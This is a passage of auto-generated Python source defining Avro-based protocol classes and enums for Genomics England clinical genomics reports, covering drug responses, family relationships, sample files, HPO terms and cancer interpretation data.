'diseaseSubGroup', 'specificDisease' ] def __init__(self, **kwargs): self.ageOfOnset = kwargs.get( 'ageOfOnset', None) self.diseaseGroup = kwargs.get( 'diseaseGroup', None) self.diseaseSubGroup = kwargs.get( 'diseaseSubGroup', None) self.specificDisease = kwargs.get( 'specificDisease', None) class Domain(object): """ No documentation """ DOMAIN1 = "DOMAIN1" DOMAIN2 = "DOMAIN2" DOMAIN3 = "DOMAIN3" DOMAIN4 = "DOMAIN4" NONE = "NONE" def __hash__(self): return str(self).__hash__() class DrugResponse(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "DrugResponse", "namespace": "org.gel.models.report.avro", "fields": [{"name": "TreatmentAgent", "type": "string", "doc": ""}, {"name": "drugResponseClassification", "type": {"type": "enum", "name": "DrugResponseClassification", "symbols": ["altered_sensitivity", "reduced_sensitivity", "increased_sensitivity", "altered_resistance", "increased_resistance", "reduced_resistance", "increased_risk_of_toxicity", "reduced_risk_of_toxicity", "altered_toxicity", "adverse_drug_reaction", "indication", "contraindication", "dosing_alteration", "increased_dose", "reduced_dose", "increased_monitoring", "increased_efficacy", "reduced_efficacy", "altered_efficacy"]}, "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "TreatmentAgent", "drugResponseClassification", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'TreatmentAgent', 'drugResponseClassification' ] def __init__(self, **kwargs): self.TreatmentAgent = kwargs.get( 'TreatmentAgent', None) self.drugResponseClassification = kwargs.get( 'drugResponseClassification', None) class DrugResponseClassification(object): """ No documentation """ altered_sensitivity = "altered_sensitivity" reduced_sensitivity = "reduced_sensitivity" increased_sensitivity = "increased_sensitivity" altered_resistance = "altered_resistance" increased_resistance = "increased_resistance" reduced_resistance = "reduced_resistance" increased_risk_of_toxicity = "increased_risk_of_toxicity" reduced_risk_of_toxicity = "reduced_risk_of_toxicity" altered_toxicity = "altered_toxicity" adverse_drug_reaction = "adverse_drug_reaction" indication = "indication" contraindication = "contraindication" dosing_alteration = "dosing_alteration" increased_dose = "increased_dose" reduced_dose = "reduced_dose" increased_monitoring = "increased_monitoring" increased_efficacy = "increased_efficacy" reduced_efficacy = "reduced_efficacy" altered_efficacy = "altered_efficacy" def __hash__(self): return str(self).__hash__() class EthnicCategory(object): """ This is the list of ethnicities in ONS16 * `D`: Mixed: White and Black Caribbean * `E`: Mixed: White and Black African * `F`: Mixed: White and Asian * `G`: Mixed: Any other mixed background * `A`: White: British * `B`: White: Irish * `C`: White: Any other White background * `L`: Asian or Asian British: Any other Asian background * `M`: Black or Black British: Caribbean * `N`: Black or Black British: African * `H`: Asian or Asian British: Indian * `J`: Asian or Asian British: Pakistani * `K`: Asian or Asian British: Bangladeshi * `P`: Black or Black British: Any other Black background * `S`: Other Ethnic Groups: Any other ethnic group * `R`: Other Ethnic Groups: Chinese * `Z`: Not stated """ D = "D" E = "E" F = "F" G = "G" A = "A" B = "B" C = "C" L = "L" M = "M" N = "N" H = "H" J = "J" K = "K" P = "P" S = "S" R = "R" Z = "Z" def __hash__(self): return str(self).__hash__() class FamiliarRelationship(object): """ Familiar relationship from pedrigree """ TwinsMonozygous = "TwinsMonozygous" TwinsDizygous = "TwinsDizygous" TwinsUnknown = "TwinsUnknown" FullSibling = "FullSibling" FullSiblingF = "FullSiblingF" FullSiblingM = "FullSiblingM" Mother = "Mother" Father = "Father" Son = "Son" Daughter = "Daughter" ChildOfUnknownSex = "ChildOfUnknownSex" MaternalAunt = "MaternalAunt" MaternalUncle = "MaternalUncle" MaternalUncleOrAunt = "MaternalUncleOrAunt" PaternalAunt = "PaternalAunt" PaternalUncle = "PaternalUncle" PaternalUncleOrAunt = "PaternalUncleOrAunt" MaternalGrandmother = "MaternalGrandmother" PaternalGrandmother = "PaternalGrandmother" MaternalGrandfather = "MaternalGrandfather" PaternalGrandfather = "PaternalGrandfather" DoubleFirstCousin = "DoubleFirstCousin" MaternalCousinSister = "MaternalCousinSister" PaternalCousinSister = "PaternalCousinSister" MaternalCousinBrother = "MaternalCousinBrother" PaternalCousinBrother = "PaternalCousinBrother" Cousin = "Cousin" Spouse = "Spouse" Other = "Other" RelationIsNotClear = "RelationIsNotClear" Unrelated = "Unrelated" Unknown = "Unknown" def __hash__(self): return str(self).__hash__() class FamilyLevelQuestions(ProtocolElement): """ The family level questions """ _schemaSource = """ {"type": "record", "name": "FamilyLevelQuestions", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "caseSolvedFamily", "type": {"type": "enum", "name": "CaseSolvedFamily", "symbols": ["yes", "no", "partially", "unknown"]}, "doc": ""}, {"name": "segregationQuestion", "type": {"type": "enum", "name": "SegregationQuestion", "symbols": ["yes", "no"]}, "doc": ""}, {"name": "additionalComments", "type": "string", "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "additionalComments", "caseSolvedFamily", "segregationQuestion", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'additionalComments', 'caseSolvedFamily', 'segregationQuestion' ] def __init__(self, **kwargs): self.additionalComments = kwargs.get( 'additionalComments', None) self.caseSolvedFamily = kwargs.get( 'caseSolvedFamily', None) self.segregationQuestion = kwargs.get( 'segregationQuestion', None) class FamilyQCState(object): """ FamilyQCState """ noState = "noState" passedMedicalReviewReadyForInterpretation = "passedMedicalReviewReadyForInterpretation" passedMedicalReviewNotReadyForInterpretation = "passedMedicalReviewNotReadyForInterpretation" queryToGel = "queryToGel" queryToGMC = "queryToGMC" failed = "failed" def __hash__(self): return str(self).__hash__() class File(ProtocolElement): """ This defines a file This record is uniquely defined by the sample identfier and an URI Currently sample identifier can be a single string or a list of strings if multiple samples are associated with the same file * """ _schemaSource = """ {"type": "record", "name": "File", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "sampleId", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "uriFile", "type": "string", "doc": ""}, {"name": "fileType", "type": {"type": "enum", "name": "FileType", "symbols": ["BAM", "gVCF", "VCF_small", "VCF_somatic_small", "VCF_CNV", "VCF_somatic_CNV", "VCF_SV", "VCF_somatic_SV", "VCF_SV_CNV", "SVG", "ANN", "BigWig", "MD5Sum", "ROH", "OTHER", "PARTITION", "VARIANT_FREQUENCIES", "COVERAGE"]}, "doc": ""}, {"name": "md5Sum", "type": ["null", "string"], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "fileType", "md5Sum", "sampleId", "uriFile", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'fileType', 'md5Sum', 'sampleId', 'uriFile' ] def __init__(self, **kwargs): self.fileType = kwargs.get( 'fileType', None) self.md5Sum = kwargs.get( 'md5Sum', None) self.sampleId = kwargs.get( 'sampleId', None) self.uriFile = kwargs.get( 'uriFile', None) class FileType(object): """ No documentation """ BAM = "BAM" gVCF = "gVCF" VCF_small = "VCF_small" VCF_somatic_small = "VCF_somatic_small" VCF_CNV = "VCF_CNV" VCF_somatic_CNV = "VCF_somatic_CNV" VCF_SV = "VCF_SV" VCF_somatic_SV = "VCF_somatic_SV" VCF_SV_CNV = "VCF_SV_CNV" SVG = "SVG" ANN = "ANN" BigWig = "BigWig" MD5Sum = "MD5Sum" ROH = "ROH" OTHER = "OTHER" PARTITION = "PARTITION" VARIANT_FREQUENCIES = "VARIANT_FREQUENCIES" COVERAGE = "COVERAGE" def __hash__(self): return str(self).__hash__() class GenePanel(ProtocolElement): """ A panel of genes """ _schemaSource = """ {"type": "record", "name": "GenePanel", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "panelIdentifier", "type": ["null", "string"], "doc": ""}, {"name": "panelName", "type": ["null", "string"], "doc": ""}, {"name": "panelVersion", "type": ["null", "string"], "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "panelIdentifier", "panelName", "panelVersion", "source", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'panelIdentifier', 'panelName', 'panelVersion', 'source' ] def __init__(self, **kwargs): self.panelIdentifier = kwargs.get( 'panelIdentifier', None) self.panelName = kwargs.get( 'panelName', None) self.panelVersion = kwargs.get( 'panelVersion', None) self.source = kwargs.get( 'source', None) class GenomicEntity(ProtocolElement): """ A genomic feature """ _schemaSource = """ {"type": "record", "name": "GenomicEntity", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "type", "type": {"type": "enum", "name": "GenomicEntityType", "doc": "", "symbols": ["regulatory_region", "gene", "transcript", "intergenic", "gene_fusion", "genomic_region", "cytobands"]}, "doc": ""}, {"name": "ensemblId", "type": ["null", "string"], "doc": ""}, {"name": "geneSymbol", "type": ["null", "string"], "doc": ""}, {"name": "otherIds", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Identifier", "fields": [{"name": "source", "type": "string", "doc": ""}, {"name": "identifier", "type": "string", "doc": ""}]}}], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "ensemblId", "geneSymbol", "otherIds", "type", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'otherIds': Identifier, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'otherIds': Identifier, } return embeddedTypes[fieldName] __slots__ = [ 'ensemblId', 'geneSymbol', 'otherIds', 'type' ] def __init__(self, **kwargs): self.ensemblId = kwargs.get( 'ensemblId', None) self.geneSymbol = kwargs.get( 'geneSymbol', None) self.otherIds = kwargs.get( 'otherIds', None) self.type = kwargs.get( 'type', None) class GenomicEntityType(object): """ Types of genomic features: * `regulatory_region`: a regulatory region * `gene`: a gene * `transcript`: a transcript * `intergenic`: an intergenic region """ regulatory_region = "regulatory_region" gene = "gene" transcript = "transcript" intergenic = "intergenic" gene_fusion = "gene_fusion" genomic_region = "genomic_region" cytobands = "cytobands" def __hash__(self): return str(self).__hash__() class GermlineSample(ProtocolElement): """ A germline sample """ _schemaSource = """ {"type": "record", "name": "GermlineSample", "namespace": "org.gel.models.participant.avro", "doc": "", "fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name": "labSampleId", "type": "int", "doc": ""}, {"name": "LDPCode", "type": "string", "doc": ""}, {"name": "source", "type": ["null", {"type": "enum", "name": "SampleSource", "doc": "", "symbols": ["TUMOUR", "BONE_MARROW_ASPIRATE_TUMOUR_SORTED_CELLS", "BONE_MARROW_ASPIRATE_TUMOUR_CELLS", "BLOOD", "SALIVA", "FIBROBLAST", "TISSUE"]}], "doc": ""}, {"name": "product", "type": ["null", {"type": "enum", "name": "Product", "symbols": ["DNA", "RNA"]}], "doc": ""}, {"name": "preparationMethod", "type": ["null", {"type": "enum", "name": "PreparationMethod", "symbols": ["EDTA", "ORAGENE", "FF", "FFPE", "CD128_SORTED_CELLS", "ASPIRATE"]}], "doc": ""}, {"name": "programmePhase", "type": ["null", {"type": "enum", "name": "ProgrammePhase", "symbols": ["CRUK", "OXFORD", "CLL", "IIP", "MAIN", "EXPT"]}], "doc": ""}, {"name": "clinicalSampleDateTime", "type": ["null", "string"], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "LDPCode", "clinicalSampleDateTime", "labSampleId", "preparationMethod", "product", "programmePhase", "sampleId", "source", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'LDPCode', 'clinicalSampleDateTime', 'labSampleId', 'preparationMethod', 'product', 'programmePhase', 'sampleId', 'source' ] def __init__(self, **kwargs): self.LDPCode = kwargs.get( 'LDPCode', None) self.clinicalSampleDateTime = kwargs.get( 'clinicalSampleDateTime', None) self.labSampleId = kwargs.get( 'labSampleId', None) self.preparationMethod = kwargs.get( 'preparationMethod', None) self.product = kwargs.get( 'product', None) self.programmePhase = kwargs.get( 'programmePhase', None) self.sampleId = kwargs.get( 'sampleId', None) self.source = kwargs.get( 'source', None) class GuidelineBasedVariantClassification(ProtocolElement): """ Variant classification based on guidlines, AMP and ACMG are supported """ _schemaSource = """ {"type": "record", "name": "GuidelineBasedVariantClassification", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "acmgVariantClassification", "type": ["null", {"type": "record", "name": "AcmgVariantClassification", "doc": "", "fields": [{"name": "acmgEvidences", "type": {"type": "array", "items": {"type": "record", "name": "AcmgEvidence", "doc": "", "fields": [{"name": "category", "type": {"type": "enum", "name": "AcmgEvidenceCategory", "doc": "", "symbols": ["population_data", "computational_and_predictive_data", "functional_data", "segregation_data", "de_novo_data", "allelic_data", "other_database", "other_data"]}, "doc": ""}, {"name": "type", "type": {"type": "enum", "name": "AcmgEvidenceType", "doc": "", "symbols": ["bening", "pathogenic"]}, "doc": ""}, {"name": "weight", "type": {"type": "enum", "name": "AcmgEvidenceWeight", "doc": "", "symbols": ["stand_alone", "supporting", "moderate", "strong", "very_strong"]}, "doc": ""}, {"name": "modifier", "type": "int", "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}]}}}, {"name": "clinicalSignificance", "type": {"type": "enum", "name": "ClinicalSignificance", "symbols": ["benign", "likely_benign", "likely_pathogenic", "pathogenic", "uncertain_significance"]}}, {"name": "assessment", "type": ["null", "string"]}]}]}, {"name": "ampVariantClassification", "type": ["null", {"type": "record", "name": "AmpVariantClassification", "doc": "", "fields": [{"name": "ampEvidences", "type": {"type": "array", "items": {"type": "record", "name": "AmpEvidence", "doc": "", "fields": [{"name": "type", "type": {"type": "enum", "name": "AmpEvidenceType", "doc": "", "symbols": ["mutation_type", "therapies", "variant_frequencies", "potential_germline", "population_database_presence", "germline_database_presence", "somatic_database_presence", "impact_predictive_software", "pathway_involvement", "publications"]}, "doc": ""}, {"name": "evidenceAssessment", "type": "string", "doc": ""}]}}, "doc": ""}, {"name": "ampTier", "type": {"type": "enum", "name": "AmpTier", "doc": "", "symbols": ["tierI", "tierII", "tierIII", "tierIV"]}, "doc": ""}, {"name": "ampClincialOrExperimentalEvidence", "type": ["null", {"type": "array", "items": {"type": "record", "name": "AmpClincialOrExperimentalEvidence", "doc": "", "fields": [{"name": "category", "type": {"type": "enum", "name": "AmpClinicalOrExperimentalEvidenceCategory", "doc": "", "symbols": ["therapeutic", "diagnosis", "prognosis"]}, "doc": ""}, {"name": "level", "type": {"type": "enum", "name": "AmpClinicalOrExperimentalEvidenceLevel", "doc": "", "symbols": ["levelA", "levelB", "levelC", "levelD"]}, "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}]}}], "doc": ""}, {"name": "assessment", "type": ["null", "string"], "doc": ""}]}]}]} """ schema = avro_parse(_schemaSource) requiredFields = { "acmgVariantClassification", "ampVariantClassification", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'acmgVariantClassification': AcmgVariantClassification, 'ampVariantClassification': AmpVariantClassification, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'acmgVariantClassification': AcmgVariantClassification, 'ampVariantClassification': AmpVariantClassification, } return embeddedTypes[fieldName] __slots__ = [ 'acmgVariantClassification', 'ampVariantClassification' ] def __init__(self, **kwargs): self.acmgVariantClassification = kwargs.get( 'acmgVariantClassification', None) self.ampVariantClassification = kwargs.get( 'ampVariantClassification', None) class HpoTerm(ProtocolElement): """ This defines an HPO term and its modifiers (possibly multiple) If HPO term presence is unknown we don't have a entry on the list """ _schemaSource = """ {"type": "record", "name": "HpoTerm", "namespace": "org.gel.models.participant.avro", "doc": "", "fields": [{"name": "term", "type": "string", "doc": ""}, {"name": "termPresence", "type": ["null", {"type": "enum", "name": "TernaryOption", "doc": "", "symbols": ["yes", "no", "unknown"]}], "doc": ""}, {"name": "hpoBuildNumber", "type": ["null", "string"], "doc": ""}, {"name": "modifiers", "type": ["null", {"type": "record", "name": "HpoTermModifiers", "fields": [{"name": "laterality", "type": ["null", {"type": "enum", "name": "Laterality", "symbols": ["RIGHT", "UNILATERAL", "BILATERAL", "LEFT"]}]}, {"name": "progression", "type": ["null", {"type": "enum", "name": "Progression", "symbols": ["PROGRESSIVE", "NONPROGRESSIVE"]}]}, {"name": "severity", "type": ["null", {"type": "enum", "name": "Severity", "symbols": ["BORDERLINE", "MILD", "MODERATE", "SEVERE", "PROFOUND"]}]}, {"name": "spatialPattern", "type": ["null", {"type": "enum", "name": "SpatialPattern", "symbols": ["DISTAL", "GENERALIZED", "LOCALIZED", "PROXIMAL"]}]}]}], "doc": ""}, {"name": "ageOfOnset", "type": ["null", {"type": "enum", "name": "AgeOfOnset", "symbols": ["EMBRYONAL_ONSET", "FETAL_ONSET", "NEONATAL_ONSET", "INFANTILE_ONSET", "CHILDHOOD_ONSET", "JUVENILE_ONSET", "YOUNG_ADULT_ONSET", "LATE_ONSET", "MIDDLE_AGE_ONSET"]}], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "ageOfOnset", "hpoBuildNumber", "modifiers", "term", "termPresence", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'modifiers': HpoTermModifiers, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'modifiers': HpoTermModifiers, } return embeddedTypes[fieldName] __slots__ = [ 'ageOfOnset', 'hpoBuildNumber', 'modifiers', 'term', 'termPresence' ] def __init__(self, **kwargs): self.ageOfOnset = kwargs.get( 'ageOfOnset', None) self.hpoBuildNumber = kwargs.get( 'hpoBuildNumber', None) self.modifiers = kwargs.get( 'modifiers', None) self.term = kwargs.get( 'term', None) self.termPresence = kwargs.get( 'termPresence', None) class HpoTermModifiers(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "HpoTermModifiers", "namespace": "org.gel.models.participant.avro", "fields": [{"name": "laterality", "type": ["null", {"type": "enum", "name": "Laterality", "symbols": ["RIGHT", "UNILATERAL", "BILATERAL", "LEFT"]}]}, {"name": "progression", "type": ["null", {"type": "enum", "name": "Progression", "symbols": ["PROGRESSIVE", "NONPROGRESSIVE"]}]}, {"name": "severity", "type": ["null", {"type": "enum", "name": "Severity", "symbols": ["BORDERLINE", "MILD", "MODERATE", "SEVERE", "PROFOUND"]}]}, {"name": "spatialPattern", "type": ["null", {"type": "enum", "name": "SpatialPattern", "symbols": ["DISTAL", "GENERALIZED", "LOCALIZED", "PROXIMAL"]}]}]} """ schema = avro_parse(_schemaSource) requiredFields = { "laterality", "progression", "severity", "spatialPattern", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'laterality', 'progression', 'severity', 'spatialPattern' ] def __init__(self, **kwargs): self.laterality = kwargs.get( 'laterality', None) self.progression = kwargs.get( 'progression', None) self.severity = kwargs.get( 'severity', None) self.spatialPattern = kwargs.get( 'spatialPattern', None) class Identifier(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "Identifier", "namespace": "org.gel.models.report.avro", "fields": [{"name": "source", "type": "string", "doc": ""}, {"name": "identifier", "type": "string", "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "identifier", "source", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'identifier', 'source' ] def __init__(self, **kwargs): self.identifier = kwargs.get( 'identifier', None) self.source = kwargs.get( 'source', None) class IdentityByDescent(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "IdentityByDescent", "namespace": "org.gel.models.report.avro", "fields": [{"name": "relatedSample", "type": "string"}, {"name": "ibd0", "type": "float"}, {"name": "ibd1", "type": "float"}, {"name": "ibd2", "type": "float"}, {"name": "pihat", "type": "float"}]} """ schema = avro_parse(_schemaSource) requiredFields = { "ibd0", "ibd1", "ibd2", "pihat", "relatedSample", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'ibd0', 'ibd1', 'ibd2', 'pihat', 'relatedSample' ] def __init__(self, **kwargs): self.ibd0 = kwargs.get( 'ibd0', None) self.ibd1 = kwargs.get( 'ibd1', None) self.ibd2 = kwargs.get( 'ibd2', None) self.pihat = kwargs.get( 'pihat', None) self.relatedSample = kwargs.get( 'relatedSample', None) class InbreedingCoefficient(ProtocolElement): """ Inbreeding coefficient """ _schemaSource = """ {"type": "record", "name": "InbreedingCoefficient", "namespace": "org.gel.models.participant.avro", "doc": "", "fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name": "program", "type": "string", "doc": ""}, {"name": "version", "type": "string", "doc": ""}, {"name": "estimationMethod", "type": "string", "doc": ""}, {"name": "coefficient", "type": "double", "doc": ""}, {"name": "standardError", "type": ["null", "double"], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "coefficient", "estimationMethod", "program", "sampleId", "standardError", "version", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'coefficient', 'estimationMethod', 'program', 'sampleId', 'standardError', 'version' ] def __init__(self, **kwargs): self.coefficient = kwargs.get( 'coefficient', None) self.estimationMethod = kwargs.get( 'estimationMethod', None) self.program = kwargs.get( 'program', None) self.sampleId = kwargs.get( 'sampleId', None) self.standardError = kwargs.get( 'standardError', None) self.version = kwargs.get( 'version', None) class Indel(object): """ No documentation """ insertion = "insertion" deletion = "deletion" def __hash__(self): return str(self).__hash__() class InterpretationDataCancer(ProtocolElement): """ Represents the set of all interpretation data (excluding file contents) to be stored in MDT for one TieringResult. Semantic restrictions (not automatically verifiable): * All InterpretedGenomes in interpretationResults refer to the TieringResult tieringResult. * All InterpretedGenomes in interpretationResults have passed the QC stage and have been approved by the originating GMCs """ _schemaSource = """ {"type": "record", "name": "InterpretationDataCancer", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "interpretationMetaData", "type": {"type": "record", "name": "CancerInterpretationRequest", "doc": "", "fields": [{"name": "versionControl", "type": {"type": "record", "name": "ReportVersionControl", "fields": [{"name": "gitVersionControl", "type": "string", "doc": "", "default": "6.0.0"}]}, "doc": ""}, {"name": "interpretationRequestId", "type": "string", "doc": ""}, {"name": "interpretationRequestVersion", "type": "int", "doc": ""}, {"name": "internalStudyId", "type": "string", "doc": ""}, {"name": "participantInternalId", "type": ["null", "string"], "doc": ""}, {"name": "genomeAssembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}, "doc": ""}, {"name": "workspace", "type": {"type": "array", "items": "string"}, "doc": ""}, {"name": "bams", "type": ["null", {"type": "array", "items": {"type": "record", "name": "File", "doc": "", "fields": [{"name": "sampleId", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "uriFile", "type": "string", "doc": ""}, {"name": "fileType", "type": {"type": "enum", "name": "FileType", "symbols": ["BAM", "gVCF", "VCF_small", "VCF_somatic_small", "VCF_CNV", "VCF_somatic_CNV", "VCF_SV", "VCF_somatic_SV", "VCF_SV_CNV", "SVG", "ANN", "BigWig", "MD5Sum", "ROH", "OTHER", "PARTITION", "VARIANT_FREQUENCIES", "COVERAGE"]}, "doc": ""}, {"name": "md5Sum", "type": ["null", "string"], "doc": ""}]}}], "doc": ""}, {"name": "vcfs", "type": ["null", {"type": "array", "items": "File"}], "doc": ""}, {"name": "bigWigs", "type": ["null", {"type": "array", "items": "File"}], "doc": ""}, {"name": "annotationFile", "type": ["null", "File"], "doc": ""}, {"name": "otherFiles", "type": ["null", {"type": "map", "values": "File"}], "doc": ""}, {"name": "cancerParticipant", "type": ["null", {"type": "record", "name": "CancerParticipant", "namespace": "org.gel.models.participant.avro", "doc": "", "fields": [{"name": "yearOfBirth", "type": ["null", "int"], "doc": ""}, {"name": "morphology", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "readyForAnalysis", "type": "boolean", "doc": ""}, {"name": "consentStatus", "type": ["null", {"type": "record", "name": "ConsentStatus", "doc": "", "fields": [{"name": "programmeConsent", "type": "boolean", "doc": "", "default": false}, {"name": "primaryFindingConsent", "type": "boolean", "doc": "", "default": false}, {"name": "secondaryFindingConsent", "type": "boolean", "doc": "", "default": false}, {"name": "carrierStatusConsent", "type": "boolean", "doc": "", "default": false}]}], "doc": ""}, {"name": "center", "type": ["null", "string"], "doc": ""}, {"name": "individualId", "type": "string", "doc": ""}, {"name": "primaryDiagnosisDisease", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "primaryDiagnosisSubDisease", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "sex", "type": {"type": "enum", "name": "Sex", "doc": "", "symbols": ["MALE", "FEMALE", "UNKNOWN"]}, "doc": ""}, {"name": "additionalInformation", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}, {"name": "assignedICD10", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "tumourSamples", "type": {"type": "array", "items": {"type": "record", "name": "TumourSample", "doc": "", "fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name": "labSampleId", "type": "int", "doc": ""}, {"name": "LDPCode", "type": "string", "doc": ""}, {"name": "tumourId", "type": "string", "doc": ""}, {"name": "programmePhase", "type": ["null", {"type": "enum", "name": "ProgrammePhase", "symbols": ["CRUK", "OXFORD", "CLL", "IIP", "MAIN", "EXPT"]}], "doc": ""}, {"name": "diseaseType", "type": ["null", {"type": "enum", "name": "diseaseType", "symbols": ["ADULT_GLIOMA", "BLADDER", "BREAST", "CARCINOMA_OF_UNKNOWN_PRIMARY", "CHILDHOOD", "COLORECTAL", "ENDOCRINE", "ENDOMETRIAL_CARCINOMA", "HAEMONC", "HEPATOPANCREATOBILIARY", "LUNG", "MALIGNANT_MELANOMA", "NASOPHARYNGEAL", "ORAL_OROPHARYNGEAL", "OVARIAN", "PROSTATE", "RENAL", "SARCOMA", "SINONASAL", "TESTICULAR_GERM_CELL_TUMOURS", "UPPER_GASTROINTESTINAL", "OTHER", "NON_HODGKINS_B_CELL_LYMPHOMA_LOW_MOD_GRADE", "CLASSICAL_HODGKINS", "NODULAR_LYMPHOCYTE_PREDOMINANT_HODGKINS", "T_CELL_LYMPHOMA"]}], "doc": ""}, {"name": "diseaseSubType", "type": ["null", "string"], "doc": ""}, {"name": "clinicalSampleDateTime", "type": ["null", "string"], "doc": ""}, {"name": "tumourType", "type": ["null", {"type": "enum", "name": "TumourType", "symbols": ["PRIMARY", "METASTATIC_RECURRENCE", "RECURRENCE_OF_PRIMARY_TUMOUR", "METASTASES"]}], "doc": ""}, {"name": "tumourContent", "type": ["null", {"type": "enum", "name": "TumourContent", "symbols": ["High", "Medium", "Low"]}], "doc": ""}, {"name": "source", "type": ["null", {"type": "enum", "name": "SampleSource", "doc": "", "symbols": ["TUMOUR", "BONE_MARROW_ASPIRATE_TUMOUR_SORTED_CELLS", "BONE_MARROW_ASPIRATE_TUMOUR_CELLS", "BLOOD", "SALIVA", "FIBROBLAST", "TISSUE"]}], "doc": ""}, {"name": "preparationMethod", "type": ["null", {"type": "enum", "name": "PreparationMethod", "symbols": ["EDTA", "ORAGENE", "FF", "FFPE", "CD128_SORTED_CELLS", "ASPIRATE"]}], "doc": ""}, {"name": "tissueSource", "type": ["null", {"type": "enum", "name": "TissueSource", "symbols": ["BMA_TUMOUR_SORTED_CELLS", "CT_GUIDED_BIOPSY", "ENDOSCOPIC_BIOPSY", "ENDOSCOPIC_ULTRASOUND_GUIDED_BIOPSY", "ENDOSCOPIC_ULTRASOUND_GUIDED_FNA", "LAPAROSCOPIC_BIOPSY", "LAPAROSCOPIC_EXCISION", "MRI_GUIDED_BIOPSY", "NON_GUIDED_BIOPSY", "SURGICAL_RESECTION", "STEREOTACTICALLY_GUIDED_BIOPSY", "USS_GUIDED_BIOPSY", "NON_STANDARD_BIOPSY", "NOT_SPECIFIED"]}], "doc": ""}, {"name": "product", "type": ["null", {"type": "enum", "name": "Product", "symbols": ["DNA", "RNA"]}], "doc": ""}, {"name": "morphologyICD", "type": ["null", "string"], "doc": ""}, {"name": "morphologySnomedCT", "type": ["null", "string"], "doc": ""}, {"name": "morphologySnomedRT", "type": ["null", "string"], "doc": ""}, {"name": "topographyICD", "type": ["null", "string"], "doc": ""}, {"name": "topographySnomedCT", "type": ["null", "string"], "doc": ""}, {"name": "topographySnomedRT", "type": ["null", "string"], "doc": ""}]}}, "doc": ""}, {"name": "germlineSamples", "type": {"type": "array", "items": {"type": "record", "name": "GermlineSample", "doc": "", "fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name": "labSampleId", "type": "int", "doc": ""}, {"name": "LDPCode", "type": "string", "doc": ""}, {"name": "source", "type": ["null", "SampleSource"], "doc": ""}, {"name": "product", "type": ["null", "Product"], "doc": ""}, {"name": "preparationMethod", "type": ["null", "PreparationMethod"], "doc": ""}, {"name": "programmePhase", "type": ["null", 